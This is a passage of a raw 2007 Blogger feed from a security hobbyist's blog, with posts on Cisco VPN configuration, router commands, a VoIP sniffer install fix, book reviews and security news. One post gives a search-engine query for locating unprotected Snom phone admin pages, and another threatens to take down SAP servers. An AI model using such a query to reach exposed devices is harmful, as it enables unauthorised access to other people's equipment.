href="http://bp1.blogger.com/_Zx8XWzC_KPQ/Rpw82nwJx6I/AAAAAAAAAaw/WRBuNKPiJAo/s1600-h/WAHH.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_Zx8XWzC_KPQ/Rpw82nwJx6I/AAAAAAAAAaw/WRBuNKPiJAo/s200/WAHH.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5088008588103370658" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-9157147125038486156?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/9157147125038486156/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=9157147125038486156' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/9157147125038486156'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/9157147125038486156'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/07/web-application-hackers-handbook.html' title='The Web Application Hackers Handbook: Discovering and Exploiting Security Flaws'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_Zx8XWzC_KPQ/Rpw82nwJx6I/AAAAAAAAAaw/WRBuNKPiJAo/s72-c/WAHH.jpg' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-3174495247959166693</id><published>2007-07-04T14:04:00.000+08:00</published><updated>2007-07-04T14:07:55.719+08:00</updated><title type='text'>IPSec VPN in PIX/ASA</title><content type='html'>For those of you who wants to setup an IPSec VPN connection in the PIX/ASA firewall, below is a snaphot of the commands of how to do it.&lt;br /&gt;&lt;br /&gt;crypto ipsec transform-set hacker esp-aes-256 esp-sha-hmac &lt;br /&gt;crypto dynamic-map dynmap 20 set transform-set hacker&lt;br /&gt;crypto map hacker 10 ipsec-isakmp&lt;br /&gt;crypto map hacker 10 match address IPSEC_hackers&lt;br /&gt;crypto map hacker 10 set peer 111.111.111.111&lt;br /&gt;crypto map hacker 10 set transform-set hackerZ&lt;br /&gt;crypto map hacker 20 ipsec-isakmp dynamic dynmap&lt;br /&gt;crypto map hacker client authentication LOCAL&lt;br /&gt;crypto map hacker interface outside&lt;br /&gt;isakmp enable outside&lt;br /&gt;isakmp key ******** address 111.111.111.111 netmask 255.255.255.255 no-xauth no-config-mode &lt;br /&gt;isakmp identity address&lt;br /&gt;isakmp nat-traversal 20&lt;br /&gt;isakmp policy 10 authentication pre-share&lt;br /&gt;isakmp policy 10 encryption aes-256&lt;br /&gt;isakmp policy 10 hash sha&lt;br /&gt;isakmp policy 10 group 1&lt;br /&gt;isakmp policy 10 lifetime 86400&lt;br /&gt;isakmp policy 20 authentication pre-share&lt;br /&gt;isakmp policy 20 encryption 3des&lt;br /&gt;isakmp policy 20 hash md5&lt;br /&gt;isakmp policy 20 group 2&lt;br /&gt;isakmp policy 20 lifetime 86400&lt;br /&gt;vpngroup crm525gp address-pool vpnpool&lt;br /&gt;vpngroup crm525gp idle-time 1800&lt;br /&gt;vpngroup crm525gp max-time 86400&lt;br /&gt;vpngroup crm525gp password ********&lt;br /&gt;vpngroup helpgrp address-pool vpnpool2&lt;br /&gt;vpngroup helpgrp idle-time 1800&lt;br /&gt;vpngroup helpgrp max-time 86400&lt;br /&gt;vpngroup helpgrp password ********&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-3174495247959166693?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/3174495247959166693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=3174495247959166693' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/3174495247959166693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/3174495247959166693'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/07/ipsec-vpn-in-pixasa.html' title='IPSec VPN in PIX/ASA'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-2355169356494687805</id><published>2007-07-04T00:22:00.000+08:00</published><updated>2007-07-04T00:31:13.829+08:00</updated><title type='text'>DNS Pinning Exposed</title><content type='html'>Christ1an wrote a very detailed article on Anti anti anti DNS Pinning or you can call it DNS pinning. For those who are still confused or still find it complicated to understand, this article actually explained it with a step by step approach with pictures attached. In it he mentioned the whole dns pinning issues and how it actually works to attack a web browser. Check it out here: &lt;a href="http://christ1an.blogspot.com/2007/07/dns-pinning-explained.html"&gt;http://christ1an.blogspot.com/2007/07/dns-pinning-explained.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-2355169356494687805?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/2355169356494687805/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=2355169356494687805' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2355169356494687805'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2355169356494687805'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/07/dns-pinning-exposed.html' title='DNS Pinning Exposed'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-8089802115598282076</id><published>2007-07-02T17:27:00.000+08:00</published><updated>2007-07-02T17:39:30.929+08:00</updated><title type='text'>VoIP article ready soon</title><content type='html'>I am in the midst of writing my VoIP article for hakin9 magazine and frankly speaking i am very restless these days. Still, i force myself to quickly write this article, so it can be publish soon for those VoIP auditors to give a comment, or for anyone who is interested in auditing VoIP services. Well, this article is easy to understand and it is not going to be tough to learn the techniques described. For a beginner, you will find this a useful yet interesting article and for a expert, this is not for you. I plan to write a more in depth and advance article in future if i have the resources and time. I will keep you guys updated on the status once it is published. &lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-8089802115598282076?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/8089802115598282076/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=8089802115598282076' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/8089802115598282076'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/8089802115598282076'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/07/voip-article-ready-soon.html' title='VoIP article ready soon'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-1639787700053674346</id><published>2007-06-29T15:07:00.000+08:00</published><updated>2007-06-29T19:10:56.980+08:00</updated><title type='text'>Youtube's 40+ security vulnerabilities</title><content type='html'>The other night i was chatting with Chris1an about web security and i just happen to realised that he was actually the one who killed Youtube. Some of you might have already knew that he was the one who discovered around 40+ vulnerabilities in Youtube and became famous overnight. Anyway Christ1an is based in Germany and he is only a student, but hack, he is a guru in web security. He was being interviewed by the &lt;a href="http://www.theregister.co.uk/2007/06/20/youtube_security_ultimatum/"&gt;register&lt;/a&gt; and &lt;a href="http://www.google.com/corporate/security.html"&gt;google&lt;/a&gt; actually thanked him for his work. &lt;br /&gt;&lt;br /&gt;Recently Christ1an launched &lt;a href="http://planet-websecurity.org/"&gt;http://planet-websecurity.org/&lt;/a&gt; with the intention to bring together similarly themed news and rants related to Web security and to display them in one place. Visit his blog on the right side of my feed or check it out &lt;a href="http://christ1an.blogspot.com/"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-1639787700053674346?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/1639787700053674346/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=1639787700053674346' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1639787700053674346'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1639787700053674346'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/06/youtubes-40-security-vulnerabilities.html' title='Youtube&apos;s 40+ security vulnerabilities'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-8838290193069475997</id><published>2007-06-28T00:48:00.000+08:00</published><updated>2007-06-28T01:02:32.670+08:00</updated><title type='text'>SAP</title><content type='html'>I always wanted to work for SAP because they pay huge money. I remembered i was being interviewed by SAP back in Singapore. During the first interview, it took me at least 1-2 hours of conversation and i passed the interview. The HR invited me for a second interview, however this time, the interviewer is crap. He asked all sorts of questions and i succintly answered them without beating around the bush. Its either he didnt get what i am trying to say or he is just plain talkative. I entrench strong to my roots for what i said and he did not believe me and saying that i am a pefect candidate for the position and looks like what they are searching for. ALL BLOODY CRAP!!!! A bunch of liars. They truly antagonize me and i loathe them for that. I am a straight person, if you don't wish to hire me, thats fine, just tell me straight and i will understand. Don't have to setup a bunch of stories and be a coward. &lt;br /&gt;&lt;br /&gt;Well, good luck to you SAP. If i have a chance to audit your system, i promise i will bring down all your SAP/R3 servers and other external servers you have. Better protect your RFC or you will be OWNED! &lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-8838290193069475997?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/8838290193069475997/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=8838290193069475997' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/8838290193069475997'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/8838290193069475997'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/06/sap.html' title='SAP'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-4188290005202334535</id><published>2007-06-27T12:05:00.000+08:00</published><updated>2007-06-27T17:17:37.418+08:00</updated><title type='text'>Cisco show mem vs show processes memory sorted</title><content type='html'>For me to check the router or firewall cpu usage and the memory usage, i always issue the show mem or show processes cpu to see what is causing the router to have a high CPU or memomry utilization. However, i realised that the show mem command output is not as nice as it seemed to be. I was looking at ioshints blog and found out the same command with a little tweaks here and there. This command provides a better output than show mem which is very important for troubleshooting purposes. See below:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;show processes memory sorted&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;show processes cpu sorted 1min&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;show processes cpu sorted 7min&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;From cisco:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.cisco.com/warp/public/63/showproc_cpu.html"&gt;http://www.cisco.com/warp/public/63/showproc_cpu.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.cisco.com/warp/public/63/highcpu.html"&gt;http://www.cisco.com/warp/public/63/highcpu.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;For Cisco and Juniper command:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://networking.ringofsaturn.com/Cisco/ciscojuniper.php"&gt;http://networking.ringofsaturn.com/Cisco/ciscojuniper.php&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-4188290005202334535?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/4188290005202334535/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=4188290005202334535' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/4188290005202334535'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/4188290005202334535'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/06/cisco-show-mem-vs-show-processes-memory.html' title='Cisco show mem vs show processes memory sorted'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-2825885053342929611</id><published>2007-06-26T17:03:00.000+08:00</published><updated>2007-06-26T17:10:47.679+08:00</updated><title type='text'>Designing and Implementing Linux Firewalls with QoS using netfilter, iproute2, NAT and l7-filter</title><content type='html'>I was invited by Lucian to review this book. Lucian actually sent me a copy of this book for me to read and i was happy upon receiving it. Well, i am someone who loves firewall and security stuff especially linux and cisco. This book is absolutely amazing. For beginners, there are a lot of technical configuration you can read and learn and for experts, this book will guide you to some topic that might interest you. I would really want to put this book into practice, but however base on my current situation, i will only have the time to read and understand the concept. I would highly rate this book a 4.5/5 and anyone who wants to learn firewall at a low level.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp0.blogger.com/_Zx8XWzC_KPQ/RoDYCAIqNvI/AAAAAAAAAXo/eoyviHx_-ok/s1600-h/firewall.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_Zx8XWzC_KPQ/RoDYCAIqNvI/AAAAAAAAAXo/eoyviHx_-ok/s200/firewall.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5080297908581578482" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-2825885053342929611?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/2825885053342929611/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=2825885053342929611' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2825885053342929611'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2825885053342929611'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/06/designing-and-implementing-linux.html' title='Designing and Implementing Linux Firewalls with QoS using netfilter, iproute2, NAT and l7-filter'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_Zx8XWzC_KPQ/RoDYCAIqNvI/AAAAAAAAAXo/eoyviHx_-ok/s72-c/firewall.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-8044642744108090023</id><published>2007-06-26T13:42:00.000+08:00</published><updated>2007-06-26T13:45:18.511+08:00</updated><title type='text'>VoIPong installation error</title><content type='html'>For those of you who try to install VoIPong and have installation errors like the ones below, the problem and solution are provided as shown below:&lt;br /&gt;&lt;br /&gt;Murat Balaban &lt;murat@...&gt; writes:&lt;br /&gt;&lt;br /&gt;&gt; &lt;br /&gt;&gt; Hi Henrique,&lt;br /&gt;&gt; &lt;br /&gt;&gt; Which UNIX user is trying to run voipong? It seems a non-root&lt;br /&gt;&gt; user is running it, but does not have the sufficient privileges&lt;br /&gt;&gt; to open the ethernet device in promisc mode.&lt;br /&gt;&gt; &lt;br /&gt;&gt; Plus, you seem to have problems with the permissions of&lt;br /&gt;&gt; your modules directory. That directory should be owned by&lt;br /&gt;&gt; the same user running voipong.&lt;br /&gt;&gt; &lt;br /&gt;&gt; Thursday, May 31, 2007, 8:41:56 PM, you wrote:&lt;br /&gt;&gt; &lt;br /&gt;&gt; &gt; Release 2.0, running on DINP70759 [Linux 2.4.25-klg #1&lt;br /&gt;&gt; &gt; SMP Ter Abr 6 09:28:24 BRT 2004 i686]&lt;br /&gt;&gt; &lt;br /&gt;&gt; &gt; (c) Murat Balaban http://www.enderunix.org/&lt;br /&gt;&gt; &gt; 31/05/07 14:34:14: EnderUNIX VOIPONG Voice Over IP&lt;br /&gt;&gt; &gt; Sniffer starting...&lt;br /&gt;&gt; &gt; 31/05/07 14:34:14: Release 2.0 running on DINP70759&lt;br /&gt;&gt; &gt; [Linux 2.4.25-klg #1 SMP Ter Abr 6 09:28:24 BRT 2004&lt;br /&gt;&gt; &gt; i686]. (c) Murat Balaban http://www.enderunix.org/&lt;br /&gt;&gt; &gt; [pid: 669]&lt;br /&gt;&gt; &gt; 31/05/07 14:34:14: Default matching algorithm: lfp&lt;br /&gt;&gt; &gt; 31/05/07 14:34:14: error:&lt;br /&gt;&gt; &gt; securemod(/usr/local/etc/voipong/modules/modvocoder_pcma.so):&lt;br /&gt;&gt; &gt; gid: got 50, expected 0&lt;br /&gt;&gt; &gt; 31/05/07 14:34:14: error:&lt;br /&gt;&gt; &gt; securemod(/usr/local/etc/voipong/modules/modvocoder_pcmu.so):&lt;br /&gt;&gt; &gt; gid: got 50, expected 0&lt;br /&gt;&gt; &gt; 31/05/07 14:34:14: loaded 0 module(s)&lt;br /&gt;&gt; &gt; 31/05/07 14:34:14: libpcap start failure:&lt;br /&gt;&gt; &gt; pcap_open_live: SIOCGIFHWADDR: No such device&lt;br /&gt;&gt; &lt;br /&gt;&gt; &gt; 31/05/07 14:34:14: PID 669 [parent: 653]: exited with&lt;br /&gt;&gt; &gt; code: 1. uptime: .&lt;br /&gt;&gt; &lt;br /&gt;I had the same problems and i had solved it using this command&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;sudo chown -R root:root /usr/local/etc/voipong/modules/modvocoder_pcm*&lt;/span&gt;&lt;br /&gt;Also for the voipongnets, i created the file by &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;touch /usr/local/etc/voipong/voipongnets &lt;/span&gt;&lt;br /&gt;This will solve the error below.&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-8044642744108090023?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/8044642744108090023/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=8044642744108090023' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/8044642744108090023'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/8044642744108090023'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/06/voipong-installation-error.html' title='VoIPong installation error'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-8687376048708663293</id><published>2007-06-25T15:59:00.000+08:00</published><updated>2007-06-25T17:16:50.943+08:00</updated><title type='text'>Snom phones web interface exposed to public.</title><content type='html'>I was just researching on hard and soft phones and i came across &lt;a href="http://www.snom.com/"&gt;Snom VoIP&lt;/a&gt; phones. I don't know much about the phones, however a simple google dorking gave me a bad result. Default installations of the phone is not password protected. Check it out:&lt;br /&gt;&lt;br /&gt;"(e.g. 0114930398330)" snom&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp0.blogger.com/_Zx8XWzC_KPQ/Rn-H8QIqNuI/AAAAAAAAAXg/lxMpZ9iLlCw/s1600-h/snom.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_Zx8XWzC_KPQ/Rn-H8QIqNuI/AAAAAAAAAXg/lxMpZ9iLlCw/s200/snom.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5079928373890397922" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-8687376048708663293?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/8687376048708663293/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=8687376048708663293' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/8687376048708663293'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/8687376048708663293'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/06/snom-phones-web-interface-exposed-to.html' title='Snom phones web interface exposed to public.'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_Zx8XWzC_KPQ/Rn-H8QIqNuI/AAAAAAAAAXg/lxMpZ9iLlCw/s72-c/snom.JPG' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-3336031074974899738</id><published>2007-06-24T12:15:00.000+08:00</published><updated>2007-06-24T12:47:55.970+08:00</updated><title type='text'>Hakin9 X Hackathology</title><content type='html'>This past week, i was invited by &lt;a href="http://en.hakin9.org/"&gt;hakin9&lt;/a&gt; magazine to write an article about the lastest hacking skills. I am still thinking about a topic to write. There are different types of hacks and i am in a dilemma in choosing one. After pondering for sometime, i think i would love to write hacks about VoIP. Personally, because VoIP is a subset of network security, i think its best to write something that i am good at. I had already setup a PBX server and now its up to the guys at hakin9. The hakin9 team is a bunch of really cool and nice guys. They gave me a free copy of their magazine and once my article is published, they will also send me a copy of the published issue. I will keep you guys updated on this. Let me know what you guys think?&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-3336031074974899738?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/3336031074974899738/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=3336031074974899738' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/3336031074974899738'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/3336031074974899738'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/06/hakin9-x-hackathology.html' title='Hakin9 X Hackathology'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-1005092164822465313</id><published>2007-06-22T12:42:00.000+08:00</published><updated>2007-06-22T12:51:00.605+08:00</updated><title type='text'>David Litchfield new Oracle book</title><content type='html'>I had been wanting to learn more about Oracle hacking and i would not say i am not really good in Oracle Security. I managed to setup a Oracle Database server and do some simple exploitation and auditing, however i know that for me to be good in that aspect, it would require to focus most of my time trying to exploit and learn the techniques to hacking the database. This past week, it had came to my attention that David Litchfield(Oracle Security Guru, google him up to find out more) had published a book called &lt;a href="http://www.amazon.com/Oracle-Hackers-Handbook-Hacking-Defending/dp/0470080221/ref=pd_bbs_sr_1/104-9998503-3375956?ie=UTF8&amp;s=books&amp;qid=1182487258&amp;sr=8-1"&gt;Oracle Hacker's Handbook&lt;/a&gt;. I highly recommend anyone who loves Oracle Security to purchase this book. Although i had not lay my hands on this book, it will soon be on my bookshelves.&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-1005092164822465313?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/1005092164822465313/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=1005092164822465313' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1005092164822465313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1005092164822465313'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/06/david-litchfield-new-oracle-book.html' title='David Litchfield new Oracle book'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-4698792674537223112</id><published>2007-06-18T13:42:00.000+08:00</published><updated>2007-06-18T13:44:49.745+08:00</updated><title type='text'>Using ftp with CUTCP telnet</title><content type='html'>Check out CUTCP&lt;br /&gt;&lt;br /&gt;"&lt;strong&gt;Telnet&lt;/strong&gt; is a program used to interactively log in to a remote computer. &lt;strong&gt;CUTCP telnet&lt;/strong&gt; is a program that runs on a PC and is used in CIRCA labs and elsewhere on campus to log in to remote computers. This program can also function as an ftp server when you are logged in to a remote host. This means that you can use the host's ftp client to connect back to yourself. Here's how you do it: &lt;br /&gt;&lt;br /&gt;1) First use &lt;strong&gt;telnet&lt;/strong&gt; to log in to the remote host.&lt;br /&gt;&lt;br /&gt;2) Press &lt;strong&gt;Alt/T&lt;/strong&gt;. This will generate an &lt;strong&gt;ftp&lt;/strong&gt; command with the proper network address and start the ftp client program on the interactive host.&lt;br /&gt;&lt;br /&gt;3) When it asks for a name, enter anything.&lt;br /&gt;&lt;br /&gt;4) When it asks for a password, press &lt;strong&gt;Alt/W&lt;/strong&gt;. This will provide a hidden password to authenticate the connection.&lt;br /&gt;&lt;br /&gt;Remember that when you have completed this connection, your PC is an ftp server, and the interactive host is running an ftp client. To transfer a file from the interactive host to your PC, use the &lt;strong&gt;put&lt;/strong&gt; command. To transfer a file from the PC to the interactive host, use the &lt;strong&gt;get&lt;/strong&gt; command."&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-4698792674537223112?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/4698792674537223112/comments/default' title='Post Comments'/><link rel='replies' type='text/html' 